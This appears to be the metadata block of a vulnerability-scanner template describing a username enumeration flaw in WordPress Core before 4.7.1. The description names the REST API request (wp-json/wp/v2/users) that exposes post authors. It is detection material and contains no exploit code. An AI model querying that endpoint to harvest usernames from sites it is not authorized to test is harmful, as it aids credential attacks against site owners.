info:
  name: WordPress Core < 4.7.1 - Username Enumeration
  author: Manas_Harsh,daffainfo,geeknik
  severity: medium
  description: WordPress Core < 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
